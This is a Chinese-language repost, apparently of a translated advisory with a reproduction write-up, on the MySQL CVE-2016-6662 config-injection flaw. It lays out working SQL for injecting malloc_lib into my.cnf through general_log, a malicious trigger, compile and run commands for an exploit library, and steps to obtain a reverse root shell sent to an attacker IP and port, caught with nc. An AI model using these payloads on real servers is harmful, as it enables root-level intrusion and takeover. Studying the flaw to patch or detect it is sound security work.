mysql遠程代碼執行/許可權提升漏洞

來源:互聯網
上載者:User

就我目前測試的情況來看,這個漏洞比較雞肋,原因有以下兩點:

1,使用預設安裝的mysql,mysql使用者並沒有設定檔/etc/mysql/my.cnf的所屬許可權;

2,不關閉selinux或apparmor的話,exp指令碼執行是會報錯的。

legalhackers原文中提到這個漏洞的前提是很多人按照錯誤的安裝指南來進行許可權配置,將設定檔的所屬使用者修改成了mysql。不過貌似漏洞發現者手裡還藏了幾個更加嚴重的mysql漏洞,並沒有披露。

I. VULNERABILITY

MySQL <= 5.7.15 遠程代碼執行/許可權提升 (0day)

5.6.33

5.5.52

複製mysql的同樣受影響, 包括:

MariaDB PerconaDB

II. INTRODUCTION

一個獨立的研究組織發現多處嚴重的Mysql漏洞,此次通報的是其中比較嚴重的一個漏洞CVE-2016-6662,它允許攻擊者遠程注入惡意設定到被攻擊伺服器的Mysql設定檔(my.cnf)中,導致更加嚴重的後果。

該漏洞影響所有預設配置的Mysql版本分支(5.7、5.6、5.5),包括最新的版本,並可能被攻擊者進行本地或者遠端利用。Exp既可以通過網路連接或者利用類似phpmyadmin之類的web管理工具,以及SQL注入漏洞等來實現遠程提權的目的。

SQL注入漏洞是在web應用中最常見的漏洞之一,在存在注入漏洞的情況下,攻擊者可以配合CVE-2016-6662進行更加深入的入侵。如果被攻擊伺服器有運行受影響的mysql版本,攻擊者可以以root許可權執行任意代碼,從而完全控制被攻擊伺服器。

目前官方還沒有提供針對該漏洞的補丁,即使伺服器開啟了SELinux安全模式,也會受到該漏洞Exp的影響。該通報後面提供一個該漏洞的Poc,示範攻擊者如何?遠程代碼執行。

III. DESCRIPTION

預設的Mysql安裝包內建mysql_safe指令碼,啟動mysql伺服器就可以觀察到,例如,進行mysql全面更新。

Debian系統:

root@debian:~# lsb_release -a

No LSB modules are available.

Distributor ID: Debian

Description:    Debian GNU/Linux 8.5 (jessie)

Release:    8.5

Codename:   jessie

root@debian:~# dpkg -l | grep -i mysql-server

ii mysql-server 5.5.50-0+deb8u1

ii mysql-server-5.5 5.5.50-0+deb8u1

ii mysql-server-core-5.5 5.5.50-0+deb8u1

通過運行如下命令啟動Mysql(用預設Debian倉庫提供的軟體包安裝)

root@debian:~# service mysql start

或用如下方式啟動:

root@debian:~# /etc/init.d/mysql start

Mysql服務的進程樹看起來如下:

root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
 
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
可以看出,mysqld_safe封裝指令碼是以root許可權啟動的,而主要的mysqld進程是用較低許可權的mysql使用者啟動的。

mysqld_safe封裝指令碼有以下功能 :

?

----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"
  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done
[...]
----------[ eof ]---------------
它可以用來在啟動服務之前載入共用庫,庫檔案可以通過下面的參數進行設定:

–malloc-lib=LIB

這個參數也可以在mysqld的設定檔中指定(my.cnf中),在[mysqld]或者[mysqld_safe]部分。

如果攻擊者能夠將其惡意的庫檔案路徑插入到設定檔中,就可以載入任意庫,當mysql服務重啟(手動、系統更新封裝更新、系統重啟等)時,可以以root許可權執行任意代碼。

2003年公布的一個mysql 3.23.55之前版本的漏洞,允許攻擊者利用一個簡單的語句建立mysql設定檔:

SELECT * INFO OUTFILE ‘/var/lib/mysql/my.cnf’

該漏洞已經在mysql 3.23.55版本中修複,利用outfile查詢建立的檔案預設是沒辦法覆蓋現有檔案的,這樣可以保護現有的設定檔,寫入設定檔已經算不可能了。

然而POC證明,有可能利用Mysql的日誌功能(預設安裝的mysql)繞過當前的限制,來實現如下的目標:

1,注入惡意設定檔到現有的mysql設定檔中,前提是設定檔許可權配置不當,設定檔所屬使用者是mysql使用者,並且mysql使用者有設定檔的可寫入權限;

2,在mysql資料目錄中建立新的設定檔,通過預設安裝mysql的話,mysql使用者預設對此目錄是有可寫入權限的,因此不需要依靠不當的許可權配置;

3,通過預設安裝的mysql,攻擊者僅用select查詢的file許可權就可以訪問日誌功能(該功能通常只提供給mysql系統管理使用者),因此攻擊者可以在資料目錄添加修改設定檔。

IV. PROOF OF CONCEPT

1,利用不正確的許可權配置(設定檔所屬mysql使用者,mysql使用者有可寫入權限)注入惡意配置到mysql的設定檔;

當mysqld_safe指令碼執行時,mysql設定檔從所有支援的位置逐一載入和處理庫檔案,確切的設定檔位置取決於mysql的版本。 例如: http://dev.mysql.com/doc/refman/5.5/en/option-files.html

mysql5.5的配置位置包括:

/etc/my.cnf 全域配置

/etc/mysql/my.cnf 全域配置

SYSCONFDIR/my.cnf 全域配置

$MYSQL_HOME/my.cnf 服務特定配置

預設額外檔案,如果有~/my.cnf,用–defaults-extra-file參數來指定使用者特定的配置。

目前有一種常見誤解是mysql使用者必須有mysql設定檔的所屬許可權,才能讓服務正常工作。許多安裝指南,甚至安全指南經常錯誤的建議使用者給予mysql使用者mysql設定檔或目錄的所屬許可權。 例如:

https://github.com/willfong/mariadb-backup/blob/master/README.md

提到:

用如下命令設定設定檔許可權:

chown mysql /etc/my.cnf

chmod 600 /etc/my.cnf”

而在如下文章中提到:

http://www.devshed.com/c/a/mysql/security-issues-with-mysql/

“你應該保護全域設定檔/etc/my.cnf,如果存在的該檔案,所屬使用者應該是mysql使用者,並且mysql使用者要有讀寫權限,但其它使用者只需要唯讀許可權”。

shell> chown mysql /etc/my.cnf”

如果mysql使用者有mysql設定檔的所屬許可權,攻擊可以追加惡意的配置項,如下所示:

root@debian:~/# ls -l /etc/my.cnf

-rw-r–r– 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf

root@debian:~/# cat /etc/my.cnf

[mysqld]

key_buffer = 16M

max_allowed_packet = 16M

攻擊者可以運行下面的SQL查詢:

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
然後設定檔將增加如下的部分:

root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query    select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query    set global general_log = off
這個配置將會讓mysql啟動失敗,因為該檔案中包含一些垃圾內容,然而最重要的部分是mysql設定檔包含了以下部分:

[mysqld]

malloc_lib=/tmp/mysql_exploit_lib.so

在mysqld守護進程啟動之前,mysqld_safe將正確的讀取共用庫的路徑,並把它添加到LD_PRELOAD環境變數。然後預裝庫的fopen()函數在mysqld守護進程啟動之前處理和清理設定檔,為的是mysql能夠正常啟動。

2,在mysql資料目錄中建立新的設定檔,通過預設安裝mysql的話,mysql使用者預設對此目錄是有可寫入權限的,因此不需要依靠不當的許可權配置。

mysqld_safe指令碼的分析表明,在除上文中提到的設定檔位置之外,在mysql5.5、5.6版本中mysqld_safe在預設情況下還會從mysql的資料目錄(/var/lib/mysql/my.cnf)載入設定檔,如下:

----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
 
----------[ eof ]---------------
從mysql 5.7開始移除了這個功能,然而在很多錯誤配置中,任然是從如下位置載入設定檔:

/var/lib/mysql/.my.cnf

mysql使用者是有mysql資料目錄(/var/lib/mysql)寫入權限的:

root@debian:~# ls -ld /var/lib/mysql/

drwx—— 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/

因此,如果沒有所屬mysql使用者的設定檔,攻擊者可能仍然能夠利用此漏洞在如下位置建立設定檔:

/var/lib/mysql/my.cnf

/var/lib/mysql/.my.cnf

正如前文提到的,用file許可權建立這樣的檔案:

SELECT ‘惡意配置內容’ INTO OUTFILE ‘/var/lib/mysql/my.cnf’

是行不通的,因為通過這種方式建立的檔案許可權如下:

-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf

mysql在啟動的時候會阻止這種全部可寫的配置,但是攻擊者利用該漏洞可以繞過這個限制:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
以上SQL建立一個具有必要許可權(other使用者沒有讀寫權限)的可供mysql守護進程解析的設定檔:

# ls -l /var/lib/mysql/my.cnf

-rw-rw—- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf

這個檔案包含的內容如下:

# cat /var/lib/mysql/my.cnf

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock

Time                 Id Command    Argument

160728 17:48:22    43 Query select ‘

; injected config entry

[mysqld]

malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

160728 17:48:23    43 Query set global general_log = off

然而,依然存在一個問題,mysql會啟動報錯,因為該設定檔包含了太多垃圾內容,會報錯如下:

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted

不過深入的測試證明可以繞過此安全限制導致的錯誤,繼續看下文。

值得大家注意的是,cve-2016-6662漏洞的報告者利用其它漏洞可以輕易的建立任意內容的/var/lib/mysql/my.cnf設定檔,並不需要file許可權,只是報告者並未披露其它的漏洞。

3,通過預設安裝的mysql,攻擊者僅用select查詢的file許可權就可以訪問日誌功能(該功能通常只提供給mysql系統管理使用者),因此攻擊者可以在此位置添加修改設定檔。

如果攻擊者沒有訪問日誌功能的系統管理權限,只有標準使用者權限與另外的file許可權,那麼攻擊者仍然可以獲得寫入修改設定檔的能力,可以利用一個惡意的觸發器來實現:

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;  
   set global general_log = off;
END;
利用類似的語句建立觸發器

SELECT ‘….trigger_code…’ INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG’

當表重新整理的時候就會執行觸發器,比如通過insert來讓表重新整理:

INSERT INTO `active_table` VALUES(‘xyz’);

觸發器的代碼會以mysql root許可權執行,從而讓攻擊者修改general_log設定,即使攻擊者沒有資料庫管理員許可權。

V. PROOF OF CONCEPT – 0day

.c檔案0ldSQLMySQLRCEexploit.py指令碼要注入的共用庫內容,具體的.c檔案代碼請查看老外寫的文章。當mysqld守護進程啟動的時候,mysqld_safe會載入該惡意的共用庫,然後會主動串連遠程攻擊者監聽的6033連接埠,並給攻擊者反彈一個root許可權shell。

python指令碼首先會建立修改mysql設定檔,加入如下內容:

[mysqld]

malloclib=mysqlhookandroot_lib.so

然後當mysqld啟動的時候,mysqld_safe會載入.so檔案中的惡意內容,然後.so檔案中的execvp()函數首先會清理掉mysql設定檔中插入的垃圾內容,只保留[mysqld]這個欄位,以確保mysqld服務能正常啟動,之後就會向攻擊者反彈一個root許可權的shell。在使用該檔案的時候,需要調整一下接收shell的IP和連接埠,以及配置路徑等。

使用如下命令進行編譯:

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

複現測試流程:

1,建立一個測試用的資料庫,並建立測試使用者的帳號和許可權,如下:


CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

2,將存在的mysql設定檔的所屬使用者修改成mysql使用者,如下:


# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3,用attacker使用者運行該exp,運行完畢重啟mysql服務 首先,在.c檔案中輸入你的庫路徑; 接著,運行.py指令碼。 如:

?
1
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
4,然後在接收反彈shell的伺服器用nc監聽6033連接埠即可收到反彈的shell。

具體的exp以及用到的庫檔案代碼,請查看360播報或者老外的文章。下面附上詳細的複現過程及方法,是在ubuntu 14.04中測試的。

1,安裝mysql-server ,mysql-client

sudo apt-get install mysql-server mysql-client

2,安裝gcc

sudo apt-get  install  build-essential

3,安裝exp指令碼中用到的mysql connector,下載地址

http://cdn.mysql.com//Downloads/Connector-Python/mysql-connector-python1.2.3-1ubuntu12.04all.deb

4,建立測試用的資料庫,以及需要帳號及許可權

mysql> create database pocdb;

Query OK, 1 row affected (0.00 sec)

mysql> grant file on *.* to ‘attacker’@’%’ identified by ‘hello123’;

Query OK, 0 rows affected (0.00 sec)

mysql> GRANT SELECT,INSERT,CREATE ON `pocdb`.* TO ‘attacker’@’%’;

Query OK, 0 rows affected (0.00 sec)

注意上面這條中資料庫名是用反引號括起來的。

5,編譯mysqlhookandrootlib.c檔案,編譯之前,修改內容如下:

#define ATTACKERS_IP “182.92.100.1”

#define SHELL_PORT 1234

#define INJECTED_CONF “/etc/mysql/my.cnf”

其中IP、連接埠是另外一台需要監聽的伺服器的,執行exp之後被攻擊伺服器會主動向上面的IP跟連接埠反彈一個root許可權的shell。

my.cnf是我的測試環境中設定檔的預設位置。

編譯命令:

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

6,修改/etc/mysql/my.cnf的所屬使用者及組

chown mysql:mysql /etc/mysql/mysql.cnf

7,唯一雞肋的地方是需要對ubuntu的apparmor相關的配置,不然exp執行的時候會報錯誤6,會提示

ERROR 29 (HY000): File ‘/etc/mysql/my.cnf’ not found (Errcode: 13)

centos的話應該是需要關閉selinux,不過看漏洞介紹說不關閉這個的情況下也能利用,可能是描述有誤吧。

修改方法:

sudo vi /etc/apparmor.d/usr.sbin.mysqld

修改成如圖所示:

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.